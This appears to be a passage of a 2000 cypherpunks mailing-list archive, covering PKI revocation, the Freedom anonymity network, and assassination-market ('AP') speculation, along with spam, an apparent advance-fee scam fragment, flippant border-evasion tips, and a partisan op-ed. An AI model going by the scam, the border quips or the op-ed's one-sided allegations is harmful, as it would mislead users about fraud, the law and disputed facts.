R/O partial data replication. The ideal solution for revokation is somehting of a catch-22 ... the ideal solution for revokation also removes the requirement for revokation (somewhat analogous to the catch-22 for solving the problem that SSL server certificate issuing agencies have with domain name server infrastructure integrity issues ... the solution is also the seed for obsoleting the need for issuing SSL server certificates). Mark Scherling on 11/23/2000 09:24:51 AM From jya at pipeline.com Thu Nov 23 09:19:00 2000 From: jya at pipeline.com (John Young) Date: Thu, 23 Nov 2000 12:19:00 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3A1D4061.306394FB@ccs.bbk.ac.uk> References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: <200011231725.MAA21297@tisch.mail.mindspring.net> Ken Brown wrote: A thoughtful summary of non-US-centric view of how US technology could, probably will, come back to haunt and harm it. One of the ways the US will be harmed is by provoking its government to crackdown on what it will define as illegal use of technology. To be sure, these perceived threats will come from within the US as from outside. I have seen no media attention given to DoD Cohen's warning that technology is empowering the citizenry, business and US allies to threaten US supremacy. Comparable, say, to the DoJ's and the FBI's well-advanced orchestration of a global cybercrime (successor to organized crime) fighting regime. The acceleration of transfer of national security technology to domestic law enforcement agencies in many countries shows that borderlessness between external and internal threats is becoming the norm. Such that the most advanced technology once devoted to combatting foreign enemies is now aimed at the populace in disregard of their home countries and the once-vaunted privilege being free of threatened by their own governments. Ken's point that AP is likely to be implemented by a non-US against a US target is shrewd, and Usama Bin Laden has just about pulled that off. If he disappears but his agenda continues that will be pure AP. This is not to say that Bin Laden is not a fictional-demon of the USG, forever eluding capture -- until the moment is right to implement a Pablo Escobar. Isn't it likely that Jim Bell is just a ploy the feds are using to arouse the tax resisters in the Northwest? >Anyway, big companies make big targets for some kinds of >revolutionaries, as do big fortunes. Some of them like killing the rich. >This already happens. Not a lot, but it happens. AP might make it more >common. Good point, and one that the feds will happily adopt, for it is often used by the US to warrant its need for a massively overkill defense apparatus -- not that it ever does much with its vaunted hardware except provide sitting ducks. From mgoodman at statecom.net Thu Nov 23 13:29:53 2000 From: mgoodman at statecom.net (Michael Goodman) Date: Thu, 23 Nov 2000 13:29:53 Subject: CDR: The LOWEST PRICES for inkjet, laser, fax, and copier cartridges ON THE NET!!! Message-ID: <200011231833.KAA02082@cyberpass.net> INK-JET AND TONER CARTRIDGES ARE EXPENSIVE!!! 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From k.brown at ccs.bbk.ac.uk Thu Nov 23 08:05:53 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 23 Nov 2000 16:05:53 +0000 Subject: CDR: Re: Jim Bell arrested, documents online References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: <3A1D4061.306394FB@ccs.bbk.ac.uk> Eric Cordian wrote: > Alan Olsen wrote: [...snip...] > > He seemed to think that the only target of this would be the government. > > I think this is a reasonable observation. You really have to be acting > under color of authority to strongly alienate enough people, who have so > litle recourse against you, that millions will bet a buck on your > continued good health in the hopes that an anonymous assassin will prove > them wrong and collect the pot. I'm not so sure about this. I've taken part in political demonstrations against private companies & I've worked in offices that were picketed or invaded by demonstrators. I've also worked in a building whose windows were broken by a bomb in the street. The bomb wasn't directed against us, but against another business on the other side of the street - the Harrods department store. On another occasion Harrods was bombed in protest against their selling fur. Farms that breed animals for experiments have been attacked and there have been attempts on the lives of the managers and owners of such places. [...snip...] > > I think that there are more people out there who would go after Bill > > Gates or John Tesh than there would for various little known public > > officials. (This could be a case where fame could have an even bigger > > downside. About six feet down.) > > Oh come now. You have real recourse against Bill Gates and John Tesh > short of killing them. Bill Gates and John Tesh don't claim they have > God's authority to kill you if you don't do what they say. They don't > order your house raided, and your children terrorized at gunpoint. They > don't force you to choose between going to prison or going to war. They > don't accuse you of treason and try to have you executed if you tell their > dirty little secrets. Gates & Tesh may not do that but there are companies that have done - and more importantly there are people who think that companies do behave like that even if they don't. Think of Shell in Nigeria. Or Harlan County, Kentucky. One of the things about AP is, if it works, millions of people with untrue ideas can still get things done. Anyway, the distinction between business and politics is less clear than you make out - or seems less clear to many people in countries outside America. In most places the government is in the pockets of the people with the money - and in most places presidents and governors are quick to join the ranks of the men with the money. Citizens of countries that have experienced the rule of people like, say, Marcos, or Suharto, or Kenyatta, aren't likely to believe that your American companies aren't agents of the US government, and they aren't likely to believe that your American politicians don't have interests in the companies. What happens if millions of people outside the US are pissed off (maybe for no good reason) with the corporate leadership of Exxon or Coca-Cola or Microsoft or MacDonalds? Maybe if only because they are pissed off with the USA and those companies stand for the USA in the minds of others (& however wonderful your USA is someone, somewhere is going to be pissed off with it). The only American politician millions of people have heard of is the President (who is presumably reasonably well-defended). Representatives of big companies make much more likely targets for non-Americans. Anyway, big companies make big targets for some kinds of revolutionaries, as do big fortunes. Some of them like killing the rich. This already happens. Not a lot, but it happens. AP might make it more common. Ken From info at jab.com Thu Nov 23 08:10:50 2000 From: info at jab.com (info at jab.com) Date: 23 Nov 2000 16:10:50 -0000 Subject: CDR: Thank you for contacting us In-Reply-To: <3A1D4061.306394FB@ccs.bbk.ac.uk> References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: <20001123161050.10633.qmail@server1.hypermart.net> Your email was received by jab.com and has been routed to me. We will be in touch with you soon if you would like to talk to us about our shopping or consulting services. If you do not have any business with us, then you are typing in the wrong domain name. You should check the address and try again. We have found it necessary to respond because of the volume of misdirected mail we have been receiving. If you are sending unsolicited email to us, we request that you cease and desist and immediately remove this domain from your spam list. Thanks again. owner at jab.com From bill.stewart at pobox.com Thu Nov 23 17:18:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 23 Nov 2000 17:18:18 -0800 Subject: CDR: Re: Entering US without green cards In-Reply-To: Message-ID: <3.0.5.32.20001123171818.0092be40@idiom.com> Well, you could get US papers, but if that's hard, and if you haven't overly annoyed the Canadians and can get papers there, the border's extremely permeable. Our right-wing politicians try real hard to keep Mexicans out, but somehow Canadians don't bother them. So walk across the Yukon, stagger into Anchorage, and fly south. A friend of mine found 20ish years ago that the price for going past the Soviet/US border guards was a bottle of booze (give the Americans Stoli, and the Russkis Jack Daniels...) Or you can go to DisneyLand and cross the border from there into California. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From libertybelle at core.com Thu Nov 23 15:38:44 2000 From: libertybelle at core.com (Liberty Belle) Date: Thu, 23 Nov 2000 17:38:44 -0600 Subject: ip: We must all speak for America. Message-ID: The Wall Street Journal The Greenwood Position This is no time for appeasement. We must all speak for America. BY PEGGY NOONAN Friday, November 24, 2000 12:01 a.m. EST <--- We must fight. And we all know it. And it's fine. We like to complain, those of us of a certain age, that history has never given us the gaudy challenges it gave our parents and grandparents. But we've had our traumas, and from the time we were children: assassinations, riots, Vietnam, Watergate, the ayatollah, a stuck economy, the fall of the wall. We've had our moments. And now we face a great trial. And we're up to it. So let's go. There was a national election on Tuesday, Nov. 7. The presidential race was close, and would be decided by the state of Florida. The state's votes were counted. At the end it was close, but George W. Bush won. A statewide recount was immediately and appropriately called. At the end it was close, but Mr. Bush won. But the higher reaches of the Democratic Party had a game plan for what to do in case of a close vote in a key state, and their machine went into motion while Republicans slept. Even before the recount was over the outcome was contested. On the afternoon of Election Day a Texas telemarketing firm is hired to call Democratic voters in Palm Beach County and gin up a protest. They had been disenfranchised. By Wednesday there are charges that a "butterfly" ballot, designed and approved by Democrats and published to no protest in the press, was confusing and thus unfair. Jesse Jackson is dispatched to Florida, where he charges that Holocaust survivors have been denied a voice. Elderly widows announce they never meant to vote for anyone but Al Gore. An army of Democratic lawyers, political operatives and union members is dispatched; they land in Florida and fan out, immediately assisting in demands for a hand count. Gore campaign manager Donna Brazile announces blacks were kept from the polls with racial harassment and, when that wasn't enough, dogs. Three Democratic counties in Florida announce they will hand-count. But the rules of the hand count change and change again. The Florida secretary of state, a Republican elected official, calls a halt. She notes that hand counts are called only when there have been charges of broken machines or vote fraud. Fraud and breakdown were not charged, and did not in fact occur. She says she will certify the election's outcome based on the original vote count and the recount that followed, plus overseas absentee ballots. Mr. Bush will be the victor. She is immediately smeared by Democratic operatives and in the press. She is a political "hack," a "Stalinist," a "commissar"; she is a vamp, a lackey. The Washington Post, a great newspaper, publishes this description of Mrs. Harris: "Her lips were overdrawn with berry-red lipstick--the creamy sort that smears all over a coffee cup and leaves smudges on a shirt collar. Her skin had been plastered and powdered to the texture of pre-war walls in need of a skim coat. And her eyes, rimmed in liner and frosted with blue shadow, bore the telltale homogeneous spikes of false eyelashes. Caterpillars seemed to rise and fall with every bat of her eyelid, with every downward glance to double check--before reading--her latest 'determination.' " Her mouth is "set in a jagged line." She has "applied her makeup with a trowel." "One wonders how this Republican woman, who can't even use restraint when she's wielding a mascara wand, will manage to . . . make sound decisions." At the same time the Democratic operative Paul Begala writes his now-famous essay suggesting Republican candidates draw their political strength from murderers, sadists, racists and the killers of innocent children. The mainstream press, watching, thinking and facing deadlines, issues its conclusion: Conservatives are guilty of inflammatory rhetoric. Those columnists, writers and public figures who have come forward to oppose what they see as an attempt by Clinton-Gore operatives to steal the 2000 presidential election are denounced as hotheaded and extreme, dismissed as partisan. The hand counting continues. From the first it is completely open to mischief. In walks mischief. Ballots for Mr. Bush are put in Gore piles. Scads of chads on the floor. Vote counters can count a partly removed chad, and then an almost-removed chad, and then a mark, a dimple, an indentation, a "pregnancy." Standards are announced, altered, announced and altered again. Questionable ballots are decided by Democratic-dominated canvassing boards. Sworn statements under oath begin to emerge: Ballots are found with taped chads; ballots are sabotaged, used as fans, found bearing Post-It Notes, dropped, misplaced. Eyewitnesses say there is clear and compelling evidence of distorting, reinventing, miscounting votes. The vote counters--many exhausted and elderly, some state workers dragged off lawnmowers, work 7 a.m. to 10 p.m. shifts in badly lit rooms. A woman from Broward County whose husband is helping the recount writes, "He said it's also frustrating because what we are seeing on the news is quite a bit different from what is actually going on, little chads everywhere and they have no idea where they are coming from." >From the Associated Press, Nov. 18, datelined Palm Beach: "On Saturday [one vote counter] whispered in a pool reporter's ear as she was leaving [the hand-counting room], "I've had it. I'm not coming back. There are some real games going on in here." And not only in there. From the Miami Herald, Nov. 18: "At least 39 felons--mostly Democrats--illegally cast absentee ballots in Broward and Miami-Dade counties. . . . Their convictions range from murder and rape to drunk driving. One is in the state's registry of sexual offenders." In the first two weeks there is not a single charge of Republican mischief in the counting rooms. Not a single person comes forward to charge that a Republican has done a single thing that is dubious, untoward or wrong. How could this be? With hundreds of people making thousands of decisions, is it possible no Democrat would even make up a charge that some Republican had done something wrong? One can't help but infer that Democratic discipline is, as usual, operative. If they add to the charges of corruption, a fair-minded judge might say: Then we must protect both sides and stop the hand counting. But if they stop the hand counting, Democrats will not be able to find 930 votes for Al Gore. And 930 is what he needs. So no Democratic charges of corruption are leveled or dreamed up. There is no evidence that the absentee ballots of felons have been challenged. But the absentee ballots of members of the military were challenged. Many were thrown out. In the most shameful and painful act of the hand counts, the Democrats on the ground, and their operators from the Democratic National Committee and the state organization and the Gore campaign, deliberately and systematically scrutinized for challenge every military absentee ballot, and knocked out as many as they could on whatever technicality they could find or even invent. Reports begin to filter out. The Democratic army of lawyers and operatives marches into the counting room armed with a five-page memo from a Democratic lawyer, instructing them on how to disfranchise military voters. The lawyers and operatives unspool reams of computer printouts bearing the names and party affiliation of military voters. Those who are Republicans are subject to particular and seemingly relentless scrutiny. Right down to signatures on ballots being compared with signatures on registration cards. A ballot bearing a domestic postmark because a soldier had voted, sent his ballot home to his parents and asked them to mail it in on time, is thrown out. A ballot that comes with a note from an officer explaining his ship was not able to postmark his ballot, but that he had voted on time--and indeed it had arrived in time--is thrown out, because it has no postmark. The Democratic operatives are ruthless, focused. As one witness says, "They had a clear agenda." Received late Wednesday, an e-mail forwarded from a Republican who witnessed the counting of the Brevard County overseas absentee ballots. It is 11:30 PM (Tuesday) and I have just returned from the count of absentee ballots, that started at 4PM. Gore had five attorneys there, the sole objective was to disenfranchise the military absentee voter. . . . They challenged each and every vote. Their sole intent was to disqualify each and every absentee voter. They constantly challenged military votes that were clearly legitimate, but they were able to disqualify them on a technicality. I have never been so frustrated in all my life as I was to see these people fight to prevent our active duty Military from voting. They succeeded in a number of cases denying the vote to these fine Men and Women. This was a deliberate all out assault on the Armed Forces solely to sustain the Draft Dodger and his flunky. These people must have a hard time looking at themselves in a mirror. . . . They denied a number of votes postmarked Queens NY, ballots that were clearly ordered from overseas, clearly returned from overseas, and verified by the Post Office that DOD uses the Queens post office to handle overseas mail, were denied because it didn't say APO, They denied military votes postmarked out of Jacksonville, Knowing full well it came from ships at sea and was flown into Jacksonville . . . . This is what you can expect from a Gore administration a further trampling on the Military and more trampling on your rights. . . . The attorneys there treated it all as a joke, and when my wife protested their actions she was told she didn't understand. Television both reports the story of what is happening in the vote-counting rooms and doesn't report it. There are comic pieces and sidebars: "Amazing as it seems, Bernie, there's actually a charge that one of the Democratic counters has eaten a chad!" But 16 days into the drama there has not been a single serious, extended and deeply reported piece on network television investigating the charges comprehensively. No "60 Minutes," no "Dateline," no "20/20." No extended look at charges of vote tampering, no first-person interviews with eyewitnesses who saw the Democratic operatives go after and throw out the military ballots. Television does, however, report "extraordinary anger among Republicans." Ed Rollins says "partisan Republicans" are very angry about this. Bill Schneider on CNN says he's never seen Republicans in Washington "so angry." They muse about "the big question": Will these Republicans ever accept the legitimacy of a Mr. Gore if he becomes president? Oddly enough Republicans do not think that's the big question. Can the Democrats steal this election is the question. Why is mainstream television (not the talk shows, not Sean and Alan, not "Crossfire," but the mainstream news shows) missing this story, underreporting it? It would be taking sides. It would be partisan. It would be extreme. But there is more. We have all noticed the ideological evolution of media in our time. Television is liberal, establishment-oriented, and does what it does: It entertains. Shut out of television and eager for news, conservatives have turned in the past 20 years to radio. And so now radio is conservative, and full of uproar. The Internet too is conservative, and full of information, of samizdat. But television, the elite media, the great broadsheet newspapers, and the clever people who talk loudly on television--that is, the powers that be, the forces that are--day by day appear through action and inaction, through an inability to see and a refusal to see, to be (a) allowing the stealing of an election in Florida, and (b) subtly taking out the critics of this hijacking. What are we to do? In 1939, during parliamentary debate on the coming war in Europe, Prime Minister Neville Chamberlain finished another of his hopeful, frightened speeches about making peace with Hitler. The Labour member of Parliament Arthur Greenwood rose to speak in opposition. As he did, the voice of a Tory parliamentarian pierced the chamber. "Speak for England, Arthur!" he called. At that the chamber exploded, and Chamberlain realized that further appeasement was intolerable. We are all of us, one way or another, in the Greenwood position. And we must speak not as members of a party but as members of a nation--the great and fabled one that has been, through our lives, the hope of the world. The Florida Supreme Court, known for its liberal activism, consisting of six Democrats, one independent and no Republicans, ruled that Mrs. Harris must include in the certified Florida results the final tallies from the corrupted hand counts. Gov. Bush will fight in the courts and perhaps in the state Legislature. "Make no mistake," he said Wednesday in responding to the justices in Tallahassee, "the court rewrote the law. It changed the rules, and it did so after the election was over." And we must fight, too. We must first of all know this will not be over soon. We must be in it for the long haul and must fight in any peaceful and legal way open to us. Yesterday we rested and thought and spent time with our families and thanked God for all he has given us. Today we must return to the trenches, refreshed and ready. Ideas, all modest and obvious, and yours will be better: Every Republican senator and congressman, every governor and state legislator should starting now come forward and pledge his opposition to the Gore attempt to steal the election. They should be all over the local airwaves back home, making the case against the dishonesty that is occurring. They might point out that most thieves have enough respect to rob a house when it is empty, but in this case the thieves are stealing while the country is home, and watching. Every writer, scribbler, Internet Paul Revere, talker, pundit, thinker, essayist, voice: Come forward and speak the truth. Howl it. We must point out what needs be pointed out again and again and not ducked or hidden: The Clinton-Gore operatives are trying to steal the election--and it is wrong. The Democrats in their hunger for power will throw the men and women who protect us with their lives over the side--and it is wrong. We must keep our arguments sharp. The other night Alan Colmes challenged Newt Gingrich: Do you really think it fair to charge the Democratic Party with trying to suppress military votes? Mr. Gingrich replied that you can see the Democratic plan in this: They issued a five-page memo on how to knock out military votes, which they assume lean Republican. There was no five-page memo on how to throw out the absentee ballots from Israel, which they assume lean Democratic. Ever since this exchange I haven't heard anyone ask if the Democrats really mean to be doing what they're doing. We must accept that the venue of the fight will change and change again. This all may be decided by the Florida Legislature. Or the U.S. Supreme Court. Or in Congress. When venues change you must be nimble. We must be prepared, and learn all we can, and know all we can, and spread the word. We must accept too that in spite of being spoofed and put down and accused of being extreme, it is not wrong to fight in this case, it is right. It is not irresponsible--it is the only way of being responsible. It is wrong to yell "Fire!" for the fun of upsetting your neighbors. It is right to yell "Fire!" when your neighbor's house is in flames. We must through e-mail and telephone calls and call-ins to radio and television report all of the data we are receiving, all of the evidence that the theft of an election is taking place day by day in Florida. Those on the ground in Florida, in the counting rooms, must even more become part of this. The one thing history needs more of--and the courts need, too--is first-person testimony. Some have suggested a march. I don't know if that's a good idea, but it should be discussed, and soon. Perhaps a march on Washington, perhaps millions, perhaps dressed in black--in mourning for an attempt to subvert democracy. I suppose it would look like a huge New York dinner party, but it would also look like a people resisting. Perhaps they should march silently, past symbols of democracy that are more eloquent in their silence than we with our sound. Perhaps there should be placards with the names of men and women from military bases whose attempt to vote for their commander in chief has been denied. Lawn signs. E-mail chains spreading word of what is happening in the counting and the deliberating. Calls to political leaders, to local newspapers, to radio and television, registering our dismay and resistance. It must of course remain peaceful--peaceful protest, passive resistance, voices strong, clear and modulated. We don't support breaking laws--we support upholding the law. And of course, in some part of our minds we must look to the future. To legislation that will normalize and regularize our voting procedures, make clear and just its rules and regulations, see to it that a Florida will never happen again. A new modesty seems in order. We Americans like to brag about how this oldest and greatest democracy can always teach the other, little countries how to perform. We've been braying and sending our vote counters to less secure republics for years. The cocktail parties of the world are now having fun at our expense. They should. A modest bow from us seems in order. And this idea, from a conservative activist. In January President Bush, as his first act in office, should announce that he will give a complete pardon to anyone who goes down to the FBI within 30 days and swears out a confession of his involvement in vote fraud and vote tampering in the 2000 elections. It's harder to spin history when history has the affidavits. And of course we must all pray. I say this more than I do it, and not many of us have done it enough, which is the reason this happened. Prayer can move mountains; it could have redirected Al Gore's ferocity and need, too. Prayer--simply talking to God--is the one thing without which we lose. And after praying, consider this. There is now all over the Internet a quote attributed to Stalin that for so many sums up the Florida story: "It doesn't matter who votes, it only matters who count the votes." True enough at the moment. But I prefer the last words of a more likable lefty, Joe Hill of the International Workers of the World: "Don't mourn--organize." --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From Lynn.Wheeler at firstdata.com Thu Nov 23 17:48:21 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Thu, 23 Nov 2000 17:48:21 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: <852569A1.00048E9B.00@lnsunr02.fl.firstdata.com> the other way to look at it ... is why design something that is broken (i.e. offline certificates in an online world) and then turn around it have to patch it up (with various online CRLs) ... unless you are really interested in featuring how broken something is. there use to be a company that sold a lot of copying machines in the '80s ... the product was one of the worst in the industry with regard to paper jamming. they came out with a television ad campaign highlighting how easy it was to fix paper jams in their product (compred to other products ... which of course you hardly ever had to worry about fixing paper jams). misc. refs: http://www.garlic.com/~lynn/rfcietff.htm select terms in the above and then select SPKI ... rfc2692 & rfc2693 in many cases ... the use of (offline paradigm) certificaets are superfulous and redundant in an online environment ... much simpler to just register a public key with the relying party or if you prefer .... appended certificates, compressed to zero bytes ... significantly reducing the problem of revoking information carried in the zero byte certificate. http://www.garlic.com/~lynn/ansiepay.htm#aadsnwi2 http://lists.commerce.net/archives/ansi-epay/199910/msg00006.html in general http://www.garlic.com/~lynn/ random. other http://weever.vic.cmis.csiro.au/~smart/tpki.html Paul Crowley on 11/23/2000 03:15:52 PM From Results at TVEyes.com Thu Nov 23 15:26:03 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Thu, 23 Nov 2000 18:26:03 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1FA21C9@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on FNC during Special Report. Thursday, Nov 23 2000 at 06:26 PM ......gore vidal scared off as commentators for abc news convention coverage on live tv vidal called him a crypto nazi where he called him a queer and threatened to hit ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2628261&Key=crypto Just follow the above link to keep your account active for this keyword. For total control of your keywords, go to http://www.tveyes.com/log_in.asp Get $200 in FREE Gasoline: no risk, no obligation! http://by.advertising.com/1/c/23066/7793// AOL users click here From jdd at vbc.net Thu Nov 23 11:51:19 2000 From: jdd at vbc.net (Jim Dixon) Date: Thu, 23 Nov 2000 19:51:19 +0000 (GMT) Subject: CDR: Re: greencard In-Reply-To: <01e101c05527$22e9b140$5832ff3f@flashnet> Message-ID: On Thu, 23 Nov 2000, mardee wrote: > Is it possible to enter USA without a greencard?? Many million Americans do so every year. And Canadians. Just need a driver's license, I think. Many or most Europeans don't need a visa for short stays. Likewise for Japanese, I think. And each year at least hundeds of thousands of enterprising souls cross the US-Mexican border at, shall we say, other than the usual entry points with no documentation at all. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From info at giganetstore.com Thu Nov 23 12:35:01 2000 From: info at giganetstore.com (info at giganetstore.com) Date: Thu, 23 Nov 2000 20:35:01 -0000 Subject: CDR: =?iso-8859-1?Q?Campanha_de_Software_em_Portugu=EAs?= Message-ID: <0805201352017b0WWWNETSTORE@wwwnetstore> Campanha Software em português Bem Vindo(a) à giganetstore.com,onde pode comprar tudo sem sair de casa! Agora para seu conforto, pode escolher visualizar os produtos da nossa promoção mais em pormenor se clicar aqui . Assim poupamos-lhe tempo enviando-lhe mails mais leves. Na Giganetstore estamos sempre a tentar servi-lo melhor. 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But the only method we can make transaction with credit cards its by sending you all information's by fax because we don't trust e-mail for security.Also please e-mail your shipping option. We prefer TNT Wordwide Express or Airbone Express because it's the best here. We find your company on the Internet and we think that we can have a great collaboration in the future. No matter what your answer is, please reply as soon as possible. Here is our shipping address to you can calculate the shipping cost: Prof.Dr.Adolf Christian Street Kogalniceanu no 101 Bucharest Ro 07000 Romania Prof. Dr. Adolf Christian - General Manager, Adolf Comp S.r.l. - PLEASE ANSWER ASAP! Thanks in advance! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1900 bytes Desc: not available URL: From paul at cluefactory.org.uk Thu Nov 23 15:15:52 2000 From: paul at cluefactory.org.uk (Paul Crowley) Date: 23 Nov 2000 23:15:52 +0000 Subject: Public Key Infrastructure: An Artifact... In-Reply-To: Lynn.Wheeler@firstdata.com's message of "Thu, 23 Nov 2000 11:17:10 -0800" References: <852569A0.0064CED7.00@lnsunr02.fl.firstdata.com> Message-ID: <87n1eqe0uv.fsf@hedonism.subnet.hedonism.cluefactory.org.uk> Lynn.Wheeler at firstdata.com writes: > The other solution is to go online and do real-time checks ... but > doing real-time checks invalidates basic design decision trade-offs > associated with choosing a R/O partial replicated distributed data > implementation in the first place. Have you looked at the design of SPKI CRLs? I think there are possibilities in there that address the difficulties you raise. -- __ \/ o\ paul at cluefactory.org.uk /\__/ http://www.cluefactory.org.uk/paul/ From 15829036 at 11573.com Thu Nov 23 20:30:45 2000 From: 15829036 at 11573.com (AOL Busters) Date: Thu, 23 Nov 00 23:30:45 EST Subject: CDR: THIS IS HUGE! WATCH OUT AOL Message-ID: <200011240542.AA24107@gukwon.chungju.ac.kr> 'America On Line Watch Out" You now have the opportunity to enroll FOR FREE in a new online community that PAYS YOU TO BE A MEMBER and were not talking peanuts. THIS IS NOT MLM or NETWORK MARKETING!!!!! How does $10,000 a month sound just for using their community? There is a new sheriff coming to town and their focus is to be bigger and better than AOL. This brand new community is coming out in about 30 days. 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If you are interested in their affiliate program where you will earn even more money, the cost is a ONE TIME fee of ONLY $25 to join......... Or sign on for free and recruit 10 people to earn affilliate status!! GO ENROLL NOW!!!!!!!!!! Best regards, Accounts Manager ******************************************************************************************* this letter cannot be considered spam as long as we include: Contact information & a Remove Link. Refer to http://www.spamlaws.com/federal/hr3113.html If you were not the intended recipient of this message, please accept my apologies and delete. This message is sent in compliance of the new E-mail bill, SECTION 301, Paragraph (a) (2)(C) of S.1618.Transmissions to you by the sender of this email will be stopped promptly by sending an e-mail with REMOVE in the subject line to: hugedeal2000 at yahoo.com Thank you From adam at cypherspace.org Thu Nov 23 22:16:34 2000 From: adam at cypherspace.org (Adam Back) Date: Fri, 24 Nov 2000 01:16:34 -0500 Subject: CDR: Re: ZKS -- the path to world domination In-Reply-To: <20001122232335.B28445@ideath.parrhesia.com> (message from Greg Broiles on Wed, 22 Nov 2000 23:23:36 -0800) Message-ID: <200011240616.BAA00561@cypherspace.org> Greg Broiles wrote: > I think the traffic analysis stuff is important, but it's lower down > on my list of threats. My impression is, that for the average Internet > user, the most likely privacy invasions they face are: > > 1. Personal information given to ISP is revealed to litigant or > law enforcement, based on identification of the subscriber's IP address, > URL, or email address. Freedom will do that as it'll hide your IP address and ISP email address. > 2. Personal information given to web-based conferencing system > is revealed to litigant or law enforcement, based on the user's system > ID; or enough information is released to allow violation (1). Same. > 3. Personal information given to instant messaging system is > revealed to litigant or law enforcement, based on the user's system ID; > or enough information is released to allow violation (1). Potentially freedom can handle this, though it depends on the system. Freedom works with IRC, but not yet with ICQ. The issue is that you need a anonymizing local proxy if the protocol violates layering and includes IP addresses in it's higher level messages. Some protocols require this (eg. ftp due to the announcement of the port and IP to connect back to in the request), others don't. As the source code is out (for linux) people can add handlers for their favourite applications (Quake, ICQ etc). > 4. Personal information given to one entity is shared with another > entity contrary to statute or contract. Difficult to protect against this one. One could think about applying some of Nick Szabo's ideas to this as it's effectively a private contract issue -- some of things I talked about in my recent post about "smart privacy policies" http://www.inet-one.com/cypherpunks/dir.2000.10.30-2000.11.05/msg00189.html Your best defense is not to give the info. Or perhaps to give it pseudonymously if that is possible. > 5. Activity at several different websites is aggregated to form > profile of interests or purchasing patterns, which is sold or combined > with information from violation of (4). Freedom's approach to profiling is to let the cookies accumulate on a cookie jar associated with each pseudonym. You can also edit cookies. In this way you still get advertisements more targetted than "random" (which might be thought of as positive if the user is comfortable being pseudonymously profiled). Also you can use multiple persona's to segregate your interests (financial interests, porn, etc.) which reduces your chances of the profiler getting a unified profile -- he gets separate profiles for each of your activities. > 6. Operator of a machine sharing a network with client machine uses > packet sniffer to trap/analyze/store client's cleartext data. That's addressed by freedom as packets are all encrypted (modulo the traffic analysis attacks discussed in the previous post). > 7. Operator of machine which handles user's data (like mailserver, > router, etc) uses system access to trap/analyze/store client's > cleartext data. Also protected for traffic. Mail is protected in the new mail system as the stored mail is encrypted by the sender, and transfers into and out of the mail system are anonymous by being routed through the freedom network, which uses forward secret keying. The 1.x mail system also protects against it as the mail is encrypted end to end, and arrives in the ISP box encrypted. > 8. User's system retains state regarding online activities (web > browsing data stored in cache, 'recent sites' lists; incoming and > outgoing emails stored) which is revealed through unanticipated use > of user's system by another person. That would be a nice thing to clean up. The browsers keep a lot of state, in history, pick-lists, cookies, bookmarks etc. The whole lot could do with storing in an encrypted per local user profile, or having an option to wipe. Even the machine keeps a lot of stuff -- the windows pick list, stuff scattered all over the disk in deleted files etc. > Different end users will give each of those modalities a different > likelihood of occurrence, and weight them differently by the damage > potential - but I think they're all much more likely than more > esoteric attacks like network-based traffic analysis. I made a suggestion I think on cypherpunks a few months back that freedom and anonymous systems meeting the type of requirements you list could be thought of as legal insurance from bullshit legal attacks. > > These two things mean that there are more people using freedom 1.x > > browsing than freedom 1.x mail. So you aren't going to see an > > accurate portrayal of user base from email alone. > > That's a good point. I haven't been able to think of a good way to > measure the adoption rate of Freedom 1.x "in the wild" - my next > best guess was to comb over my own webserver's logfiles, to see if > the Freedom proxies introduce any evidence of their presence. Is > that possible? You could probably collect a list of freedom exit node IP addresses and look for web hits from them? The hit rate will depend on the site topic and the user group, so it'll still be pretty hit and miss. > > Some negative experience with it's workings? Could you elaborate? > > I experienced (twice) a failure in my Windows 98 network stack after > installing the Freedom client - it apparently replaced/modified/removed > some DLL component which was important to 32-bit Winsock connections, > which meant that Eudora and web browsers stopped working. Freedom's trying to do some pretty ambitious things in interfacing with the windows stack from within the tcp stack and transparently re-writing and redirecting packets at that level. That area of windows isn't the best documented. If you were using an early version things may have improved a lot since then. Also I think win2000 stuff is more amenable to the things freedom is trying to do. > > My gut feel is that email would be a popular app for pseudonymity. > > Opinions solicited of course, but I personally was usually more > > interested in pseudonymous or anonymous mail. It does actually matter > > if you use the web to look up things you're writing about and you're > > trying to be strongly anonymous, but typically I haven't been that > > paranoid. > > Same here - it's actually not so hard to get some measure of web > anonymity, if you're willing to the free ones like LPWA. Still, > web anonymizers are going to be more interesting as more people get > fixed IP addresses for their DSL or cable modems. I didn't give > web tracking a lot of thought before, because my dialup IP's were > at least weakly nondeterministic and not very correlated; but > people with fixed IP's have more to worry about. Well I would avoid using the web at all if I were doing something sensitive. That could be inconvenient. I guess there are web2mail gateways one could use with an alpha nymserver, but that's pretty inconvenient. So freedom is good for that (now that there's a linux version). > > This isn't a re-framing, it's phase II, and it's been planned since > > day one. Austin has been talking about being a privacy broker between > > users and companies for years, it was part of the grand plan for > > "total world domination" since the early days. Probably some have > > heard him speak about it at conferences over the last couple of years. > > I've heard him say some about this, but didn't link it to the privacy > consulting, exactly The managed privacy services are technology related and pushing the "zero-knowledge" stance. ZKS technologies include the freedom network, and the freedom client. > > The section of the FAQ that covers the questions you're asking is: > > > > http://www.freedom.net/faq/index.html?r=6#11 > > > > The short answer is no, no, and very. > > Well, that sounds good - and I appreciate the pointer to the FAQ - > but I am not sure the answer is so easy. Let's say that I believe > that a Freedom user has defamed me, and I sue them, and my attorney > issues a subpoena to Freedom to get their reply block(s); and then > my attorney subpoenas the operators of the 